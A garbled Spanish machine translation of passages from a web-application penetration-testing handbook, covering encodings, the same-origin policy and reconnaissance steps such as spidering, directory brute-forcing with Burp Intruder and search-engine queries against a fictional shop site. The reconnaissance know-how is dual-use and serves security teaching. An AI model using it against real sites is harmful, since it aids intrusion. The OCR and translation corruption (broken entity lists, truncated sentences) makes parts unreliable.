la acción al servidor. El servidor devuelve una respuesta ligera que contiene datos en formato
JSON. El script del lado del cliente luego procesa estos datos y actualiza la interfaz de usuario
en consecuencia.
Por ejemplo, una aplicación de correo web basada en Ajax puede contener una función para
mostrar los detalles de un contacto seleccionado. Cuando un usuario hace clic en un contacto,
el navegador usa XMLHttpRequest para recuperar los detalles del contacto seleccionado, que
se devuelven mediante JSON:
{
"nombre": "Mike Kemp", "id":
"8041148671", "correo
electrónico": "[email protected]"
}
El script del lado del cliente usa el intérprete de JavaScript para consumir la respuesta
JSON y actualiza la parte relevante de la interfaz de usuario en función de su contenido.
Otra ubicación en la que puede encontrar datos JSON en las aplicaciones actuales es como
un medio para encapsular datos dentro de parámetros de solicitud convencionales. Por ejemplo,
cuando el usuario actualiza los detalles de un contacto, la nueva información puede comunicarse
al servidor mediante la siguiente solicitud:
Si no existiera la política del mismo origen, y un usuario involuntario navegó a un sitio web
malicioso, el código de secuencia de comandos que se ejecuta en ese sitio podría acceder a
los datos y la funcionalidad de cualquier otro sitio web que también visite el usuario. Esto puede
permitir que el sitio malicioso realice transferencias de fondos desde el banco en línea del
usuario, lea su correo web o capture los detalles de la tarjeta de crédito cuando el usuario
compra en línea. Por ello, los navegadores implementan restricciones para permitir este tipo de
interacción únicamente con contenidos que hayan sido recibidos desde el mismo origen.
En la práctica, la aplicación de este concepto a los detalles de diferentes características y
tecnologías web genera varias complicaciones y compromisos. Aquí hay algunas características
clave de la política del mismo origen que debe tener en cuenta:
n Una página que reside en un dominio puede provocar que se realice una solicitud
arbitraria a otro dominio (por ejemplo, al enviar un formulario o cargar una imagen). Pero
no puede procesar por sí mismo los datos devueltos por esa solicitud. n Una página que
reside en un dominio puede cargar un script de otro dominio y ejecutarlo dentro de su
propio contexto. Esto se debe a que se supone que los scripts contienen código, en
lugar de datos, por lo que el acceso entre dominios no debería dar lugar a la divulgación
de información confidencial.
n Una página que reside en un dominio no puede leer ni modificar las cookies u otros datos
DOM pertenecientes a otro dominio.
Estas funciones pueden dar lugar a varios ataques entre dominios, como inducir acciones
del usuario y capturar datos. Surgen más complicaciones con las tecnologías de extensión del
navegador, que implementan restricciones del mismo origen de diferentes maneras. Estos
temas se discuten en detalle en el Capítulo 13.
HTML5
HTML5 es una actualización importante del estándar HTML. Actualmente, HTML5 todavía está
en desarrollo y solo se implementa parcialmente en los navegadores.
Desde una perspectiva de seguridad, HTML5 es de interés principalmente por las siguientes
razones:
n Introduce varias etiquetas, atributos y API nuevos que se pueden aprovechar para
generar secuencias de comandos entre sitios y otros ataques, como se describe en el
Capítulo 12.
Machine Translated by Google
n Introduce nuevos mecanismos para el almacenamiento de datos del lado del cliente, lo que puede
generar problemas de privacidad del usuario y nuevas categorías de ataque, como la inyección SQL
del lado del cliente, como se describe en el Capítulo 13.
"Web 2.0"
Esta palabra de moda se ha puesto de moda en los últimos años como un nombre bastante
vago y nebuloso para una variedad de tendencias relacionadas con las aplicaciones web,
incluidas las siguientes:
n Uso intensivo de Ajax para realizar solicitudes asincrónicas entre bastidores n Mayor integración entre
dominios utilizando varias técnicas n Uso de nuevas tecnologías en el lado del cliente, incluidos XML,
JSON y Flex n Funcionalidad más destacada que admite contenido generado por el usuario , intercambio
de información e interacción
Al igual que con todos los cambios en la tecnología, estas tendencias presentan nuevas
oportunidades para que surjan vulnerabilidades de seguridad. Sin embargo, no definen un
subconjunto claro de problemas de seguridad de aplicaciones web en general. Las
vulnerabilidades que ocurren en estos contextos son en gran medida las mismas, o se derivan
de los tipos de habilidades de los vulnerables que precedieron a estas tendencias. En general,
hablar de “Seguridad Web 2.0” suele representar un error de categoría que no facilita pensar con
claridad sobre los temas que importan.
n applets de Java
n Controles ActiveX
n Objetos Flash n
Objetos Silverlight
Estado y Sesiones
Las tecnologías descritas hasta ahora permiten que los componentes de servidor y cliente de una
aplicación web intercambien y procesen datos de muchas maneras. Sin embargo, para implementar
la mayoría de los tipos de funciones útiles, las aplicaciones necesitan realizar un seguimiento del
estado de la interacción de cada usuario con la aplicación a través de múltiples solicitudes. Por
ejemplo, una aplicación de compras puede permitir a los usuarios navegar por un catálogo de
productos, agregar artículos a un carrito, ver y actualizar el contenido del carrito, proceder al pago y
proporcionar detalles personales y de pago.
Para hacer posible este tipo de funcionalidad, la aplicación debe mantener un conjunto de datos
con estado generados por las acciones del usuario a través de varias solicitudes. Estos datos
normalmente se mantienen dentro de una estructura del lado del servidor llamada sesión. Cuando
un usuario realiza una acción, como agregar un artículo a su carrito de compras, la aplicación del
lado del servidor actualiza los detalles relevantes dentro de la sesión del usuario. Cuando el usuario
luego ve el contenido de su carrito, los datos de la sesión se utilizan para devolver la información
correcta al usuario.
En algunas aplicaciones, la información de estado se almacena en el componente del cliente en
lugar del servidor. El conjunto actual de datos se pasa al cliente en cada respuesta del servidor y se
envía de vuelta al servidor en cada solicitud del cliente. Por supuesto, debido a que el usuario puede
modificar cualquier dato transmitido a través del componente del cliente, las aplicaciones deben
protegerse de los atacantes que pueden cambiar esta información de estado en un intento de
interferir con la lógica de la aplicación. La plataforma ASP.NET utiliza un campo de formulario oculto
llamado ViewState para almacenar información de estado sobre la interfaz web del usuario y, por lo
tanto, reducir la sobrecarga en el servidor. De forma predeterminada, el contenido de ViewState
incluye un hash con clave para evitar la manipulación.
Debido a que el protocolo HTTP no tiene estado, la mayoría de las aplicaciones necesitan una
forma de volver a identificar a los usuarios individuales a través de múltiples solicitudes para usar el
conjunto correcto de datos de estado para procesar cada solicitud. Normalmente, esto se logra
emitiendo a cada usuario un token que identifique de forma única la sesión de ese usuario. Estos
tokens pueden transmitirse utilizando cualquier tipo de parámetro de solicitud, pero la mayoría de
las aplicaciones utilizan cookies HTTP. Surgen varios tipos de vulnerabilidades en relación con el
manejo de sesiones, como se describe en detalle en el Capítulo 7.
Esquemas de codificación
Las aplicaciones web emplean varios esquemas de codificación diferentes para sus datos. Tanto el
protocolo HTTP como el lenguaje HTML se basan históricamente en texto, y se han ideado diferentes
esquemas de codificación para garantizar que estos mecanismos puedan manejar con seguridad
caracteres inusuales y datos binarios. Cuando está atacando una aplicación web, con frecuencia
necesitará codificar datos usando un
Machine Translated by Google
esquema para asegurarse de que se maneja de la manera que usted desea. Además, en muchos
casos, es posible que pueda manipular los esquemas de codificación que usa una aplicación para
provocar un comportamiento que sus diseñadores no pretendían.
Codificación de URL
Se permite que las direcciones URL contengan solo los caracteres imprimibles en el juego de
caracteres US-ASCII, es decir, aquellos cuyo código ASCII está en el rango de 0x20 a 0x7e,
inclusive. Además, varios caracteres dentro de este rango están restringidos porque tienen un
significado especial dentro del propio esquema de URL o dentro del protocolo HTTP.
n %25 — %
n %20 — Espacio
n %0a — Nueva línea
NOTA Con el fin de atacar aplicaciones web, debe codificar en URL cualquiera
de los siguientes caracteres cuando los inserte como datos en un
Solicitud HTTP:
espacio % ? & = ; + #
Codificación Unicode
Unicode es un estándar de codificación de caracteres diseñado para admitir todos los sistemas
de escritura del mundo. Emplea varios esquemas de codificación, algunos de los cuales
pueden usarse para representar caracteres inusuales en aplicaciones web.
La codificación Unicode de 16 bits funciona de manera similar a la codificación de URL.
Para la transmisión a través de HTTP, la forma codificada Unicode de 16 bits de un carácter es
Machine Translated by Google
UTF-8 es un estándar de codificación de longitud variable que emplea uno o más bytes
para expresar cada carácter. Para la transmisión a través de HTTP, la forma codificada
en UTF-8 de un carácter multibyte simplemente usa cada byte expresado en hexadecimal
y precedido por el prefijo % :
n %c2%a9 — ©
n %e2%89%a0 —
Codificación HTML
La codificación HTML se utiliza para representar caracteres problemáticos para que puedan
incorporarse de forma segura en un documento HTML. Varios caracteres tienen un significado
especial como metacaracteres dentro de HTML y se utilizan para defi nir la estructura de un
documento en lugar de su contenido. Para utilizar estos caracteres de forma segura como
parte del contenido del documento, es necesario codificarlos en HTML.
La codificación HTML define numerosas entidades HTML para representar caracteres literales
específi cos:
"
n " —
'
n ' —
n &erio; — &
n < — <
n > — >
"
n " —
'
n ' —
Cuando está atacando una aplicación web, es probable que su principal interés en la codificación
HTML sea cuando busque vulnerabilidades de secuencias de comandos entre sitios. Si una
aplicación devuelve la entrada del usuario sin modificar dentro de sus respuestas, probablemente
sea vulnerable, mientras que si los caracteres peligrosos están codificados en HTML, puede ser
seguro. Consulte el Capítulo 12 para obtener más detalles sobre estas vulnerabilidades.
Codificación Base64
La codificación Base64 permite que cualquier dato binario se represente de forma segura usando solo
caracteres ASCII imprimibles. Se usa comúnmente para codificar archivos adjuntos de correo electrónico
para una transmisión segura a través de SMTP. También se utiliza para codificar las credenciales de usuario en
autenticación HTTP básica.
La codificación Base64 procesa los datos de entrada en bloques de tres bytes. Cada uno de
estos bloques se divide en cuatro fragmentos de seis bits cada uno. Seis bits de datos permiten 64
diferentes permutaciones posibles, por lo que cada fragmento se puede representar usando un
conjunto de 64 caracteres. La codificación Base64 emplea el siguiente conjunto de caracteres, que
contiene solo caracteres ASCII imprimibles:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Si el bloque final de datos de entrada da como resultado menos de tres fragmentos de datos de
salida, la salida se rellena con uno o dos caracteres = .
Por ejemplo, aquí está la forma codificada en Base64 del Manual del hacker de
aplicaciones web :
VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==
Muchas aplicaciones web utilizan la codificación Base64 para transmitir datos binarios dentro
de cookies y otros parámetros, e incluso para ofuscar (es decir, ocultar) datos confidenciales para
evitar modificaciones triviales. Siempre debe buscar y descodificar cualquier dato Base64 que se
emita al cliente. Las cadenas codificadas en Base64 a menudo se pueden reconocer fácilmente
por su juego de caracteres específico y la presencia de caracteres de relleno al final de la cadena.
Codificación hexadecimal
Muchas aplicaciones usan codificación hexadecimal directa cuando transmiten datos binarios,
usando caracteres ASCII para representar el bloque hexadecimal.
Por ejemplo, la codificación hexadecimal del nombre de usuario "daf" dentro de una cookie daría como
resultado esto:
646166
Machine Translated by Google
Al igual que con Base64, los datos codificados en hexadecimal suelen ser fáciles de
detectar. Siempre debe intentar decodificar los datos que el servidor envía al cliente para
comprender su función.
n Silverlight y WCF n
Objetos serializados de Java
Discutiremos las técnicas para trabajar con estos marcos y los tipos de problemas de
seguridad que pueden surgir en los Capítulos 4 y 5.
Próximos pasos
Hasta ahora, hemos descrito el estado actual de la (in)seguridad de las aplicaciones web,
examinado los mecanismos principales mediante los cuales las aplicaciones web pueden
defenderse y analizado brevemente las tecnologías clave empleadas en las aplicaciones actuales.
Con esta base establecida, ahora estamos en condiciones de comenzar a analizar los aspectos
prácticos reales de atacar aplicaciones web.
En cualquier ataque, su primera tarea es mapear el contenido y la funcionalidad de la
aplicación de destino para establecer cómo funciona, cómo intenta defenderse y qué
tecnologías utiliza. El próximo capítulo examina este proceso de mapeo en detalle y muestra
cómo puede usarlo para obtener una comprensión profunda de la superficie de ataque de una
aplicación. Este conocimiento será vital cuando se trata de encontrar y explotar fallas de
seguridad dentro de su objetivo.
Machine Translated by Google
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
Capítulo R
Mapeo de la aplicación
73
Machine Translated by Google
No obstante, para realizar una inspección rigurosa de los contenidos enumerados, y obtener
un registro exhaustivo de todo lo identificado, debe emplear técnicas más avanzadas que la
simple navegación.
Telaraña
Varias herramientas pueden realizar rastreo automático de sitios web. Estas herramientas
funcionan solicitando una página web, analizándola en busca de enlaces a otro contenido,
solicitando estos enlaces y continuando recursivamente hasta que no se descubre contenido nuevo.
Sobre la base de esta función básica, las arañas de aplicaciones web intentan lograr un mayor
nivel de cobertura analizando también formularios HTML y enviándolos a la aplicación utilizando
varios valores preestablecidos o aleatorios. Esto puede permitirles recorrer la funcionalidad de
varias etapas y seguir la navegación basada en formularios (como cuando las listas desplegables
se usan como menús de contenido). Algunas herramientas también analizan JavaScript del lado
del cliente para extraer URL que apuntan a más contenido.
Hay numerosas herramientas gratuitas disponibles que hacen un trabajo decente al enumerar el
contenido y la funcionalidad de la aplicación, incluidas Burp Suite, WebScarab, Zed Attack Proxy
y CAT (consulte el Capítulo 20 para obtener más detalles).
SUGERENCIA Muchos servidores web contienen un archivo llamado robots.txt en la raíz web que
contiene una lista de URL que el sitio no desea que visiten las arañas web o que los motores de
búsqueda indexen. A veces, este archivo contiene referencias a funcionalidades sensibles, que
sin duda le interesa rastrear. Algunas herramientas de rastreo diseñadas para atacar aplicaciones
web verifican el archivo robots.txt y utilizan todas las URL que contiene como semillas en el
proceso de rastreo. En este caso, el archivo robots.txt puede ser contraproducente para la
seguridad de la aplicación web.
Este capítulo utiliza una aplicación ficticia, Extreme Internet Shopping (EIS), para
proporcionar ejemplos de acciones comunes de asignación de aplicaciones. La Figura
4-1 muestra a Burp Spider compitiendo contra EIS. Sin iniciar sesión, es posible mapear
el directorio /shop y dos artículos de noticias en el directorio /media . También tenga en
cuenta que el archivo robots.txt que se muestra en la figura hace referencia a los
directorios /mdsecportal y /site-old. Estos no están vinculados desde ninguna parte de la
aplicación y no serían indexados por una araña web que solo siguiera los enlaces del contenido publicado.
SUGERENCIA Las aplicaciones que emplean direcciones URL de estilo REST usan partes de la
ruta del archivo URL para identificar de forma única los datos y otros recursos utilizados dentro de la aplicación.
Machine Translated by Google
Aunque a menudo puede ser efectivo, este tipo de enfoque totalmente automatizado para la
enumeración de contenido tiene algunas limitaciones significativas: n Los mecanismos de
enterrados dentro de objetos compilados del lado del cliente como Flash o Java
los applets no pueden ser recogidos por una araña.
application spider generalmente envía una sola cadena de prueba en cada campo de
formulario editable, y la aplicación devuelve un mensaje de error que dice que uno o más de
los elementos enviados no son válidos. Debido a que la araña no es lo suficientemente
inteligente para comprender y actuar sobre este mensaje, no pasa del formulario de registro
y, por lo tanto, no descubre más contenido o funciones accesibles más allá de este. n Las
arañas automáticas suelen utilizar direcciones URL como identificadores de contenido único.
Sin embargo, aún puede haber situaciones en las que un enfoque completamente
automatizado no sea completamente efectivo. Discutimos enfoques para mapear este tipo
de funcionalidad más adelante en este capítulo. n A la inversa del punto anterior, algunas
aplicaciones colocan datos volátiles dentro de las URL que en realidad no se usan para
identificar recursos o funciones (por ejemplo, parámetros que contienen temporizadores o
semillas de números aleatorios). Cada página de la aplicación puede contener lo que parece
ser un nuevo conjunto de URL que la araña debe solicitar, lo que hace que continúe
ejecutándose indefinidamente. n Cuando una aplicación utiliza autenticación, una araña de
aplicación efectiva debe poder manejar esto para acceder a la funcionalidad que protege la
autenticación. Las arañas mencionadas anteriormente pueden lograr esto configurando
manualmente la araña con un token para una sesión autenticada o con credenciales para
enviar a la función de inicio de sesión. Sin embargo, incluso cuando se hace esto, es común
encontrar que la operación de la araña interrumpe la sesión autenticada por varias razones:
n Al seguir todas las URL, en algún momento la araña solicitará el cierre de sesión
función, causando que su sesión se interrumpa.
n Si la araña envía una entrada no válida a una función confidencial, la aplicación puede
terminar la sesión de forma defensiva. n Si la aplicación usa tokens por página, es casi
seguro que la araña no podrá manejarlos correctamente al solicitar páginas fuera de la
secuencia esperada, lo que probablemente provocará la terminación de toda la sesión.
Machine Translated by Google
enumera e incorpora por completo en el mapa del sitio del proxy, ya que los enlaces a él se
analizarán fuera de las respuestas de la aplicación. Pero el usuario puede usar su
discreción para decidir qué funciones solicitar o llevar a cabo realmente.
Machine Translated by Google
Con el spidering dirigido por el usuario, el usuario simplemente puede iniciar sesión en la aplicación usando
su navegador, y la herramienta proxy/spider toma la sesión resultante e identifica todo el contenido adicional
ahora disponible para el usuario. La Figura 4-2 muestra el mapa del sitio EIS cuando el usuario se ha autenticado
con éxito en las áreas protegidas de la aplicación.
Figura 4-2: Mapa del sitio de Burp después de realizar una búsqueda guiada por el usuario
Esto revela algunos recursos adicionales dentro del sistema de menú de inicio. La figura muestra una
referencia a un perfil privado al que se accede a través de una función de JavaScript iniciada con el controlador
de eventos onClick:
Es probable que una araña web convencional que simplemente sigue enlaces dentro de
HTML pase por alto este tipo de enlace. Incluso los rastreadores de aplicaciones automatizados
más avanzados van a la zaga de los numerosos mecanismos de navegación empleados por
las aplicaciones y extensiones de navegador actuales. Sin embargo, con el spidering dirigido
por el usuario, el usuario simplemente necesita seguir el enlace visible en pantalla usando su
navegador, y la herramienta proxy/spider agrega el contenido resultante al mapa del sitio.
Por el contrario, tenga en cuenta que la araña ha identificado con éxito el enlace a /core/
sitestats contenido en un comentario HTML, aunque este enlace no se muestra en pantalla al
usuario.
PASOS DE HACK
El mapa del sitio generado por la herramienta proxy/spider contiene una gran
cantidad de información sobre la aplicación de destino, que será útil más adelante
para identificar las diversas superficies de ataque expuestas por la aplicación.
para revisar la fuente de la página en busca de vulnerabilidades que luego puedan explotarse
en la página en vivo. n Archivos de copia de seguridad que contienen una instantánea
completa de los archivos dentro (o incluso fuera) de la raíz web, lo que posiblemente le permita
identificar fácilmente todo el contenido y la funcionalidad dentro de la aplicación.
n Comentarios en el código fuente que, en casos extremos, pueden contener información como
nombres de usuario y contraseñas, pero que probablemente proporcionen información sobre
el estado de la aplicación. Frases clave como "probar esta función" o algo similar son fuertes
indicadores de dónde empezar a buscar vulnerabilidades.
n Archivos de registro que pueden contener información confidencial, como nombres de usuario
válidos, tokens de sesión, URL visitadas y acciones realizadas.
http://eis/auth/Iniciar sesión
http://eis/auth/Olvidé mi contraseña
http://eis/home/
http://eis/pub/media/100/view
http://eis/images/eis.gif
http://eis/include/eis.css
Machine Translated by Google
http://eis/About/ http://eis/
abstract/ http://eis/academics/
http://eis/accessibility/ http://eis/
accounts/ http://eis/action/
...
Burp Intruder se puede usar para recorrer una lista de nombres de directorios comunes y capturar
detalles de las respuestas del servidor, que se pueden revisar para identificar directorios válidos. La
Figura 4-4 muestra la configuración de Burp Intruder para sondear directorios comunes que residen
en la raíz web.
http://eis/auth/About/ http://eis/
auth/Aboutus/ http://eis/auth/AddUser/
http://eis/auth/Admin/ http://eis/auth/
Administration/ http://eis/auth/
Administradores/
...
Figura 4-5: Burp Intruder mostrando los resultados de un ataque de fuerza bruta de directorio
La Figura 4-6 muestra los resultados de este ataque, que identificó varios recursos
dentro del directorio /auth :
Acceso
Cerrar sesión
Registro
Perfil
Tenga en cuenta que la solicitud de perfil devuelve el código de estado HTTP 302.
Esto indica que acceder a este enlace sin autenticación redirige al usuario a la página
de inicio de sesión. De mayor interés es que, aunque la página de inicio de sesión se
descubrió durante el rastreo, la página de registro no lo fue. Podría ser que esta
funcionalidad adicional esté operativa y un atacante podría registrar una cuenta de
usuario en el sitio.
Machine Translated by Google
Figura 4-6: Burp Intruder mostrando los resultados de un ataque de fuerza bruta a un archivo
NOTA No asuma que la aplicación responderá con 200 OK si existe un recurso solicitado y 404
Not Found si no existe. Muchas aplicaciones manejan las solicitudes de recursos inexistentes
de forma personalizada, a menudo devolviendo un mensaje de error personalizado y un código
de respuesta 200. Además, algunas solicitudes de recursos existentes pueden recibir una
respuesta que no sea 200. La siguiente es una guía aproximada del significado probable de los
códigos de respuesta que puede encontrar durante un ejercicio de fuerza bruta en busca de
contenido oculto:
n 302 Encontrado: si la redirección es a una página de inicio de sesión, el recurso puede estar
accesible solo por usuarios autenticados. Si la redirección es a un mensaje de error, esto
puede indicar una razón diferente. Si es a otra ubicación, la redirección puede ser parte de
la lógica prevista de la aplicación y esto debe investigarse más a fondo.
esto generalmente indica que el recurso solicitado existe, pero ningún usuario puede acceder
a él.
Machine Translated by Google
Las diversas respuestas posibles que pueden indicar la presencia de contenido interesante
significan que es difícil escribir un script completamente automatizado para generar una lista
de recursos válidos. El mejor enfoque es capturar la mayor cantidad de información posible
sobre las respuestas de la aplicación durante el ejercicio de fuerza bruta y revisarlo
manualmente.
PASOS DE HACK
2. Utilice el mapa del sitio generado a través de la araña dirigida por el usuario como base para
descubrimiento automatizado de contenido oculto.
Además, el mapa del sitio creado durante el rastreo dirigido por el usuario identifi cado
estos recursos:
http://eis/pub/media/100 http://eis/pub/
media/117 http://eis/pub/user/11
Es probable que otros valores numéricos en un rango similar identifiquen más recursos
e información.
http://eis/auth/AddPassword http://eis/auth/
ForgotPassword http://eis/auth/GetPassword
http://eis/auth/ResetPassword http://eis/auth/
RetrievePassword http://eis /auth/Actualizar
contraseña
...
Figura 4-7: Burp Intruder se utiliza para realizar un ataque de fuerza bruta personalizado en parte de
un nombre de archivo
Machine Translated by Google
PASOS DE HACK
1. Revise los resultados de su navegación dirigida por el usuario y fuerza bruta básica
ejercicios. Compile listas de los nombres de todos los subdirectorios enumerados,
raíces de archivos y extensiones de archivos.
2. Revise estas listas para identificar cualquier esquema de nombres en uso. Por ejemplo,
si hay páginas llamadas AddDocument.jsp y ViewDocument.jsp, también puede haber
páginas llamadas EditDocument.jsp y RemoveDocument.jsp.
A menudo, puede tener una idea de los hábitos de nombres de los desarrolladores
con solo leer algunos ejemplos. Por ejemplo, según su estilo personal, los
desarrolladores pueden ser detallados (AddANewUser.asp), sucintos (AddUser.asp),
usar abreviaturas (AddUsr.asp) o incluso ser más crípticos (AddU.asp). Tener una idea
de los estilos de nombres en uso puede ayudarlo a adivinar los nombres precisos del
contenido que aún no ha identificado.
4. Revise todo el código del lado del cliente, como HTML y JavaScript, para identificar
cualquier pista sobre el contenido oculto del lado del servidor. Estos pueden incluir
comentarios HTML relacionados con funciones protegidas o no vinculadas,
formularios HTML con elementos SUBMIT deshabilitados y similares. A menudo, los
comentarios son generados automáticamente por el software que se ha utilizado para
generar contenido web o por la plataforma en la que se ejecuta la aplicación. Las
referencias a elementos como los archivos de inclusión del lado del servidor son de
particular interés. Estos archivos pueden en realidad ser descargables públicamente
y pueden contener información altamente confidencial, como cadenas de conexión de
bases de datos y contraseñas. En otros casos, los comentarios de los desarrolladores
pueden contener todo tipo de datos útiles, como nombres de bases de datos,
referencias a componentes de back-end, cadenas de consulta SQL, etc. Los
componentes de cliente pesado, como los subprogramas de Java y los controles
ActiveX, también pueden contener datos confidenciales que puede extraer. Consulte el
Capítulo 15 para conocer más formas en que la aplicación puede divulgar información sobre sí misma.
Continuado
Machine Translated by Google
5. Agregar a las listas de elementos enumerados cualquier posible nombre adicional con
proyectado sobre la base de los elementos que ha descubierto. También agregue
a la lista de extensiones de archivo extensiones comunes como txt, bak, src, inc y
old, que pueden descubrir el origen de las versiones de copia de seguridad de las páginas activas.
Agregue también extensiones asociadas con los lenguajes de desarrollo en uso,
como .java y .cs, que pueden descubrir archivos de origen que se compilaron en
páginas activas. (Consulte los consejos más adelante en este capítulo para
identificar las tecnologías en uso).
6. Busque archivos temporales que puedan haber sido creados sin darse cuenta por
las herramientas de desarrollo y los editores de archivos. Los ejemplos incluyen
el archivo .DS_Store, que contiene un índice de directorio en OS X, file.php~1,
que es un archivo temporal creado cuando se edita file.php, y la extensión de
archivo .tmp que utilizan numerosas herramientas de software.
NOTA Puede usar la función Content Discovery de Burp Suite Pro para automatizar la
mayoría de las tareas descritas hasta ahora. Después de haber mapeado manualmente el
contenido visible de una aplicación usando su navegador, puede seleccionar una o más
ramas del mapa del sitio de Burp e iniciar una sesión de descubrimiento de contenido en
esas ramas.
Figura 4-8: Una sesión de descubrimiento de contenido en progreso contra la aplicación EIS
n Motores de búsqueda como Google, Yahoo y MSN. Estos mantienen un índice detallado de todo
el contenido que sus poderosas arañas han descubierto, y también almacenan copias en caché de
gran parte de este contenido, que persiste incluso después de que se eliminó el contenido original.
PASOS DE HACK
1. Use varios motores de búsqueda y archivos web diferentes (enumerados anteriormente) para
descubrir qué contenido indexaron o almacenaron para la aplicación que está atacando.
2. Al consultar un motor de búsqueda, puede utilizar varias técnicas avanzadas para maximizar
la eficacia de su investigación. Las siguientes sugerencias se aplican a Google. Puede
encontrar las consultas correspondientes en otros motores seleccionando su opción de
Búsqueda avanzada.
n site:www.wahh-target.com devuelve todos los recursos dentro del sitio de destino al que
Google tiene una referencia.
páginas de otros sitios web y aplicaciones que contienen un enlace al objetivo. Esto puede
incluir enlaces a contenido antiguo o funciones destinadas a ser utilizadas únicamente por
terceros, como enlaces de socios.
3. Realice cada búsqueda no solo en la sección Web predeterminada de Google, sino también
en Grupos y Noticias, que pueden contener resultados diferentes.
4. Vaya a la última página de resultados de búsqueda para una consulta determinada y seleccione
Repita la búsqueda con los resultados omitidos incluidos. De forma predeterminada,
Google intenta filtrar los resultados redundantes eliminando las páginas que cree que son
lo suficientemente similares a otras incluidas en los resultados. Anular este comportamiento
puede descubrir páginas sutilmente diferentes que son de su interés cuando ataca la
aplicación.
5. Vea la versión en caché de las páginas interesantes, incluido cualquier contenido que ya no
esté presente en la aplicación real. En algunos casos, las cachés de los motores de búsqueda
contienen recursos a los que no se puede acceder directamente en la aplicación sin
autenticación o pago.
Machine Translated by Google
6. Realice las mismas consultas en otros nombres de dominio que pertenezcan a la misma
organización, que pueden contener información útil sobre la aplicación a la que se dirige.
Otra fuente pública de información útil sobre la aplicación de destino son las publicaciones
que los desarrolladores y otras personas han realizado en los foros de Internet. Existen
numerosos foros de este tipo en los que los diseñadores y programadores de software hacen
y responden preguntas técnicas. A menudo, los elementos publicados en estos foros
contienen información sobre una aplicación que beneficia directamente a un atacante,
incluidas las tecnologías en uso, la funcionalidad implementada, los problemas encontrados
durante el desarrollo, los errores de seguridad conocidos, la configuración y los archivos de
registro enviados a ayudar en la solución de problemas e incluso extractos del código fuente.
PASOS DE HACK
1. Compile una lista que contenga todos los nombres y direcciones de correo electrónico
que pueda descubrir en relación con la aplicación de destino y su desarrollo. Esto
debe incluir a los desarrolladores conocidos, los nombres que se encuentran en el código
fuente HTML, los nombres que se encuentran en la sección de información de contacto
del sitio web principal de la empresa y los nombres revelados dentro de la propia aplicación, como el personal admi
http://eis/phpmyadmin/
Figura 4-9: Wikto se usa para descubrir contenido y algunas vulnerabilidades conocidas
/gb/index.php?login=verdadero
PASOS DE HACK
1. Si cree que el servidor está usando una ubicación no estándar para contenido interesante
que Nikto verifica (como /cgi/cgi-bin en lugar de /cgi-bin), puede especificar esta ubicación
alternativa usando la opción –root / cgi/. Para el caso específico de los directorios CGI,
estos también se pueden especificar mediante la opción –Cgidirs.
Tenga en cuenta que con herramientas como Nikto, puede especificar una aplicación de destino
usando su nombre de dominio o dirección IP. Si una herramienta accede a una página usando su
dirección IP, la herramienta trata los enlaces en esa página que usan su nombre de dominio como
pertenecientes a un dominio diferente, por lo que no se siguen los enlaces. Esto es razonable,
porque algunas aplicaciones están alojadas virtualmente, con varios nombres de dominio que
comparten la misma dirección IP. Asegúrese de configurar sus herramientas teniendo esto en cuenta.
navegaron por el conjunto de archivos creados por el autor, solicitando cada archivo a través de su
nombre dentro del árbol de directorios que reside en el servidor.
Aunque la evolución de las aplicaciones web ha cambiado fundamentalmente la experiencia de
interactuar con la web, la imagen que acabamos de describir sigue siendo aplicable a la mayoría del
contenido y la funcionalidad de las aplicaciones web. Por lo general, se accede a las funciones
individuales a través de una URL única, que suele ser el nombre del script del lado del servidor que
implementa la función. Los parámetros de la solicitud (que residen en la cadena de consulta de URL
o en el cuerpo de una solicitud POST ) no le indican a la aplicación qué función debe realizar; le dicen
qué información usar al realizarla. En este contexto, la metodología de construcción de un mapa
basado en URL puede ser eficaz para catalogar la funcionalidad de la aplicación.
En las aplicaciones que usan direcciones URL de estilo REST, partes de la ruta del archivo URL
contienen cadenas que, de hecho, funcionan como valores de parámetros. En esta situación, al
asignar direcciones URL de ping, una araña asigna tanto las funciones de la aplicación como la lista
de valores de parámetros conocidos a esas funciones.
En algunas aplicaciones, sin embargo, la imagen basada en las "páginas" de la aplicación es
inapropiada. Aunque es posible calzar la estructura de cualquier aplicación en esta forma de
representación, en muchos casos una imagen diferente, basada en rutas funcionales, es mucho más
útil para catalogar su contenido y funcionalidad. Considere una aplicación a la que se accede usando
solo solicitudes de la siguiente forma:
servlet=TransferFunds&method=confirmTransfer&fromAccount=10372918&to
Cuenta=
3910852&amount=291.23&Submit=Ok
Aquí, cada solicitud se realiza a una sola URL. Los parámetros de la solicitud se utilizan para
indicarle a la aplicación qué función realizar nombrando el servlet y el método de Java para invocar.
Otros parámetros proporcionan la información que se utilizará para realizar la función. En la imagen
basada en las páginas de la aplicación, la aplicación parece tener una sola función y un mapa basado
en URL no aclara su funcionalidad. Sin embargo, si mapeamos la aplicación en términos de rutas
funcionales, podemos obtener un catálogo mucho más informativo y útil de su funcionalidad. La Figura
4-10 es un mapa parcial de las rutas funcionales que existen dentro de la aplicación.
Machine Translated by Google
WahhBanco.
acceso
WahhBanco.
casa
Figura 4-10: Un mapeo de las rutas funcionales dentro de una aplicación web
Representar la funcionalidad de una aplicación de esta manera suele ser más útil incluso
en los casos en los que la imagen habitual basada en las páginas de la aplicación se puede
aplicar sin ningún problema. Las relaciones lógicas y las dependencias entre diferentes
funciones pueden no corresponder a la estructura de directorio utilizada en las URL. Son estas
relaciones lógicas las que más le interesan, tanto para comprender la funcionalidad principal
de la aplicación como para formular posibles ataques contra ella. Al identificarlos, puede
comprender mejor las expectativas y suposiciones de los desarrolladores de la aplicación al
implementar las funciones. También puede intentar encontrar formas de violar estas
suposiciones, provocando un comportamiento inesperado dentro de la aplicación.
PASOS DE HACK
PASOS DE HACK
